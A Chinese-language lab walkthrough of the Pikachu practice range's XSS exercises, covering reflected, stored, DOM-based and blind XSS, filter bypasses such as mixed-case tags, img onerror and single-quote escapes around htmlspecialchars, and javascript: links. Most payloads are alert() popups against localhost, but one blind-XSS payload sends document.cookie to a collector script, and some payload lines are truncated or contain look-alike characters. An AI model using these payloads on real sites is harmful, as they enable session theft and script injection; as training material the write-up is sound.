形成XSS漏洞的主要原因是程序对输入和输出没有做合适的处理,导致“精心构造”的字符输出在前端时被浏览器当作有效代码解析执行从而产生危害。
因此在XSS漏洞的防范上,一般会采用 “对输入进行过滤” 和 “输出进行转义” 的方式进行处理:
输入过滤:对输入进行过滤,不允许可能导致XSS攻击的字符输入; 输出转义:根据输出点的位置对输出到前端的内容进行适当转义。
上一文进行了初始XSS,了解了它的一些基础知识:初始XSS
以下通过皮卡出靶场的 “Cross-Site Scripting”测试栏目对各种类型的XSS漏洞进行实践测试。
xss漏洞测试大致流程:
先输入 '"<>123 ,其中包含特殊字符,看提交是否会被过滤掉。
提交后,发现输入栏下方把我们输入的字符一模一样地返回了,
再按F12查看源代码,用定位符找到这个位置,输入的确被原封不动地输出了。
接下来,输入JavaScript代码:
<script>alert("xss")</script>
这个时候语句字符还没有全部输入进去,就无法在输入了。
寻找原因,应该时输入框的长度受到了限制。
F12查看源代码,定位到输入框所对应的代码限制了长度为20,那就把它修改成需要的足够长度。
修改完之后输入完js代码点击submit提交,成功弹窗。
点击确认后查看源代码可以看到浏览器正确执行了这条源代码。
这是一个get型的xss漏洞,可以看到弹窗时js代码就放在了url的get请求中,所以只要打开这个弹窗出现时的链接,就都能够有这样的效果。
可以看到是一个登录界面。
要得到用户名和密码,可以通过burpsuite进行爆破。
当然页面右上角的提示上也提示了用户名和密码。
得到:
username:admin
password:123456
登录进去后,和上一题反射型xss(get)一样,先尝试输入看是否存在过滤。
输入 '"<>*123 ,界面按原样输出了,包括源代码中也是一样。
<script>alert("xss")</script>
点击submit提交成功弹窗;源代码中浏览器也正确执行了这条代码。
显示为一个留言板,并且下面有一项留言列表。
老规矩,尝试输入一些内容,发现输入的内容都会被存储在留言列表下,
F12打开源代码看到输入的内容没有改变。
构造输入js代码:
<script>alert("xss")</script>
点击提交,出现弹窗。并且源代码中也存储了输入的这条js代码。
根据存储型xss的特点,即使刷新页面,这条js代码导致的弹窗还是会出现,因为永久地存储在了这里面。
DOM 相当于在前端提供了一个通过 JS 去对 HTML 进行操作的接口。
先尝试输入一些字符,发现输出与输入不一致,查看源代码 a 标签里我们输出的字符改变了。
还发现上方有一段 js 代码,显示将 test 的内容赋值给了 str,又把 str 的内容通过字符串拼接的方式加给了 a 标签的 href 属性中。
并且这段js代码中有两行注释让我们试试这两条语句。
先尝试给出语句1:
'>xss')">
可以看到 a 标签的前半部分 给闭合了。
尝试给出语句2:
' οnclick="alert('xss')">
看到的效果时这样的。
点击what do you see?,可以出现弹窗,但是点击完后界面就会被清空,需要重新输入。
通过闭合的方式构造语句:
#' οnclick=alert("xss")>
点击what do you see?,出现弹窗,
并且弹窗点击确定后语句还在输入框中,可以继续点击 what do you see?,仍然能出现弹窗。
尝试输入 '"<>$123 ,打开源代码,发现和上面一题是基本一致的,输出的语句发生了变化。
也给出了一个js代码,连让我们尝试的两句语句都是一样的:
'>xss')">
' onclick="alert('xss')">
js代码中给出 一个domxss函数。
它利用 window.location.search 获取浏览器中url的内容,然后赋值给 str,经过URL解码和字符串分隔,取出URL中的参数内容,再把 “+” 替换为 “ ”(空格),赋值给 xss,最后把 xss 拼接到 a 标签中,最后成为成为输出的内容。
这个时候就可以发现此时的 url 根据我们输入的内容添加了参数,并且结果了编码转换。
#' οnclick=alert("xss")>
点击”就让往事都随风,都随风把“ ,就可以出现弹窗了。
这里的输入让表现在了 url 中,所以可以和反射型xss(get)一样,只要复制打开这个 url 链接,都会有弹窗的效果。
尝试输入一些信息:’"<>#123
界面没有什么反应,这里说了盲打,那就只有后台能够看到输入的内容。
可以登录一下后台,在url后面改为:admin_login.php
比如地址:http://localhost/pikachu/vul/xss/xssblind/xss_blind.php
进入后台:http://localhost/pikachu/vul/xss/xssblind/admin_login.php
通过 admin/123456登录进去可以看到我们输入的信息。
<script> document.location = 'http://127.0.0.1/pikachu/pkxss/xcookie/cookie.php?cookie=' + document.cookie; </script>
结果在上面这个后台看我们输入的语句内容显示为空。
然后可以试试进入pikachu 的平台,在管理工具的位置,admin/123456登录进去。
点击cookie搜集选项,就可以看到我们输入的代码得到了执行。
尝试输入字符:’"<>123
查看源代码没有什么变化。
尝试输入语句:
<script>alert("xss")</script>
发现语句被过滤掉了(
<ScripT>alert("daxiao")</ScripT>
<img src=x onerror="alert('img')">
htmlspecialchars()是PHP提供的一个对特殊字符进行转义的函数,它可以把预定义的字符转换为HTML实体。
预定义字符:
&转换为&
"转换为"
'转换为'
<转换为<
>转换为>
可用引号类型:
ENT_COMPAT # 默认,仅对双引号进行编码
ENT_QUOTES # 推荐,编码单双引号
ENT_NOQUOTES # 不编码任何引号
尝试输入字符:’"<>!123
F12查看源代码字符被转换了,对应我们输入的字符可以判断出这里使用的是:ENT_COMPAT # 默认,仅对双引号进行编码。
即单引号没有被转换,那么可以尝试使用单引号进行绕过。
构造语句:
' οnclick='alert(123)'
尝试输字符:’"<>123
打开源代码可以看到我们输入的字符输出在了 a 标签的href属性中。
尝试构造js语句:
<script>alert("xss")</script>
发现是无法弹窗的。
由于输出在 a 标签的 href 属性里,可以使用 javascript 协议来执行 JS 代码。
防御:只允许 http,https,其次再进行 htmlspecialchars 处理。
上一题中也了解了 htmlspecialchars 函数,
接下来就构造语句:
javascript:alert(122)
随便输入一些内容:123
查看源代码,可以看到我们输入的内容 被放在js代码中的$ms变量里。
那么我们可以构造一个闭合:
2、
也可以直接闭合掉前面的那个<script>标签:
'